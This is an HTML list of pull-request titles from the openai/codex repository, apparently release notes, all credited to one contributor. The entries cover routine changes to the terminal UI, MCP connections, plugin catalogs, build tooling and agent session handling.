<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4950566279" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34772" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34772/hovercard" href="https://github.com/openai/codex/pull/34772">#34772</a> Normalize whitespace-only lines in agent messages <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4950598821" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34775" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34775/hovercard" href="https://github.com/openai/codex/pull/34775">#34775</a> Clamp session headers to narrow terminal widths <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4950630699" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34777" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34777/hovercard" href="https://github.com/openai/codex/pull/34777">#34777</a> Include the final agent message in turn completion summaries <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4950669021" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34778" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34778/hovercard" href="https://github.com/openai/codex/pull/34778">#34778</a> Coalesce wrapped OSC 8 hyperlinks in the TUI terminal <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4950885937" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34779" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34779/hovercard" href="https://github.com/openai/codex/pull/34779">#34779</a> Use the live parent history mode when forking agents <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4950940810" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34781" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34781/hovercard" href="https://github.com/openai/codex/pull/34781">#34781</a> Upgrade Bazel Rust and LLVM dependencies <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4950975644" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34784" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34784/hovercard" href="https://github.com/openai/codex/pull/34784">#34784</a> Reject dynamic environments named <code>local</code> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4951006646" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34785" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34785/hovercard" href="https://github.com/openai/codex/pull/34785">#34785</a> Report skill catalog truncation during rendering <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4951038019" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34786" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34786/hovercard" href="https://github.com/openai/codex/pull/34786">#34786</a> Simplify app-server integration test setup <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4951195380" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34789" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34789/hovercard" href="https://github.com/openai/codex/pull/34789">#34789</a> Avoid unnecessary post-sampling token estimates <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4951516442" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34795" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34795/hovercard" href="https://github.com/openai/codex/pull/34795">#34795</a> Remove obsolete step store from git attribution tests <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4951553650" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34796" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34796/hovercard" href="https://github.com/openai/codex/pull/34796">#34796</a> Skip syntax highlighting for lines over 4 KiB <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4951571306" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34797" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34797/hovercard" href="https://github.com/openai/codex/pull/34797">#34797</a> Suppress omission notices in core-compatible skill catalogs <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4952062553" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34806" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34806/hovercard" href="https://github.com/openai/codex/pull/34806">#34806</a> Use path URIs in shell approval keys <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4952102324" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34808" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34808/hovercard" href="https://github.com/openai/codex/pull/34808">#34808</a> Centralize SQLite connection configuration <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4952334788" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34811" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34811/hovercard" href="https://github.com/openai/codex/pull/34811">#34811</a> Fix network access rendering in sandbox prompts <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4952472017" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34814" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34814/hovercard" href="https://github.com/openai/codex/pull/34814">#34814</a> Consolidate thread startup around <code>StartThreadOptions</code> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4952563944" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34816" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34816/hovercard" href="https://github.com/openai/codex/pull/34816">#34816</a> Support configurable realtime BEM channel prefixes <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4952864875" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34819" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34819/hovercard" href="https://github.com/openai/codex/pull/34819">#34819</a> Enable git attribution across Codex entry points <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4953035622" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34823" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34823/hovercard" href="https://github.com/openai/codex/pull/34823">#34823</a> Run code-mode tests in non-Windows Bazel CI <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4953083915" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34824" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34824/hovercard" href="https://github.com/openai/codex/pull/34824">#34824</a> Normalize Guardian review cwd reuse keys <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4953130973" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34825" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34825/hovercard" href="https://github.com/openai/codex/pull/34825">#34825</a> Reduce cloning when building Responses requests <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4953182088" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34827" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34827/hovercard" href="https://github.com/openai/codex/pull/34827">#34827</a> Remove Windows Bazel lint toolchain overrides <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4953368553" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34831" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34831/hovercard" href="https://github.com/openai/codex/pull/34831">#34831</a> Flush analytics before in-process app server shutdown <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4953600928" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34835" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34835/hovercard" href="https://github.com/openai/codex/pull/34835">#34835</a> Track compaction time in turn profiles <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4953802746" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34839" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34839/hovercard" href="https://github.com/openai/codex/pull/34839">#34839</a> Preserve user input when MCP startup is interrupted <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4953825474" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34840" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34840/hovercard" href="https://github.com/openai/codex/pull/34840">#34840</a> Add persisted thread pinning to the app server <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4954081948" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34844" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34844/hovercard" href="https://github.com/openai/codex/pull/34844">#34844</a> Remove first-party type from app metadata <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4954138253" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34845" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34845/hovercard" href="https://github.com/openai/codex/pull/34845">#34845</a> Track multi-agent mode in world state <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4954150978" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34846" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34846/hovercard" href="https://github.com/openai/codex/pull/34846">#34846</a> Allow custom providers to opt into standalone web search <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4954170526" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34847" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34847/hovercard" href="https://github.com/openai/codex/pull/34847">#34847</a> Use Guardian model limits for review sessions <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4954387275" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34849" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34849/hovercard" href="https://github.com/openai/codex/pull/34849">#34849</a> Cache remote plugin catalogs by scope <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4954402699" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34850" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34850/hovercard" href="https://github.com/openai/codex/pull/34850">#34850</a> Disable image generation for Free-plan accounts <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4954422522" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34851" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34851/hovercard" href="https://github.com/openai/codex/pull/34851">#34851</a> Use batch metadata for plugin app summaries <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4954439229" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34852" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34852/hovercard" href="https://github.com/openai/codex/pull/34852">#34852</a> Wake sleeping threads for queued agent mail <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4955803630" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34877" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34877/hovercard" href="https://github.com/openai/codex/pull/34877">#34877</a> Wait for local plugin cache refreshes in <code>plugin/list</code> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4956000742" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34883" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34883/hovercard" href="https://github.com/openai/codex/pull/34883">#34883</a> Set a default user agent for MCP HTTP requests <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4956092213" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34887" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34887/hovercard" href="https://github.com/openai/codex/pull/34887">#34887</a> Allow disabling the multi-agent wait tool <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4957369656" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34910" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34910/hovercard" href="https://github.com/openai/codex/pull/34910">#34910</a> Prefer releases.openai.com in standalone installers <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4958352141" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34930" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34930/hovercard" href="https://github.com/openai/codex/pull/34930">#34930</a> Centralize thread MCP state in <code>McpRuntime</code> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4958388913" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34931" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34931/hovercard" href="https://github.com/openai/codex/pull/34931">#34931</a> Use the API plugin marketplace for Amazon Bedrock <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4959146492" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34940" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34940/hovercard" href="https://github.com/openai/codex/pull/34940">#34940</a> Keep session defaults static during config batch writes <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4960073918" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34952" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34952/hovercard" href="https://github.com/openai/codex/pull/34952">#34952</a> Reuse MCP connections across runtime refreshes <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4960369272" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34957" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34957/hovercard" href="https://github.com/openai/codex/pull/34957">#34957</a> Replace closed MCP connections during reconciliation <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4960400102" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34959" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34959/hovercard" href="https://github.com/openai/codex/pull/34959">#34959</a> Handle @ in local marketplace paths <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4960465806" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34962" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34962/hovercard" href="https://github.com/openai/codex/pull/34962">#34962</a> Move MCP connection helpers into the test module <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4960797934" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34969" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34969/hovercard" href="https://github.com/openai/codex/pull/34969">#34969</a> Keep the sleep tool outside code mode <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4961427496" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34978" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34978/hovercard" href="https://github.com/openai/codex/pull/34978">#34978</a> Honor disabled redirects in route-aware HTTP clients <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4961472973" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34979" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34979/hovercard" href="https://github.com/openai/codex/pull/34979">#34979</a> Infer the bundled Claude Code plugin marketplace <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4961502643" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34981" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34981/hovercard" href="https://github.com/openai/codex/pull/34981">#34981</a> Record externally completed agent config imports <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4961714061" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34986" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34986/hovercard" href="https://github.com/openai/codex/pull/34986">#34986</a> Enforce single-writer ownership for paginated threads <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4961806288" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34989" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34989/hovercard" href="https://github.com/openai/codex/pull/34989">#34989</a> Preserve timestamps when importing external agent sessions <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4961957102" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34991" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34991/hovercard" href="https://github.com/openai/codex/pull/34991">#34991</a> Allow omitting MCP tool prefixes per server <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4962136574" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34994" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34994/hovercard" href="https://github.com/openai/codex/pull/34994">#34994</a> Honor the configured SQLite home across state consumers <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4962174622" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34995" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34995/hovercard" href="https://github.com/openai/codex/pull/34995">#34995</a> Initialize execution environments with the final HTTP policy <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4962229790" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34996" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34996/hovercard" href="https://github.com/openai/codex/pull/34996">#34996</a> Separate Codex error details from retry metadata <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4962312515" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/34997" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/34997/hovercard" href="https://github.com/openai/codex/pull/34997">#34997</a> Warn when skill catalogs exceed their context budget <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
<li><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4962404168" data-permission-text="Title is private" data-url="https://github.com/openai/codex/issues/35000" data-hovercard-type="pull_request" data-hovercard-url="/openai/codex/pull/35000/hovercard" href="https://github.com/openai/codex/pull/35000">#35000</a> Make TUI turn interrupts nonblocking <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/copyberry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/copyberry">@copyberry</a></li>
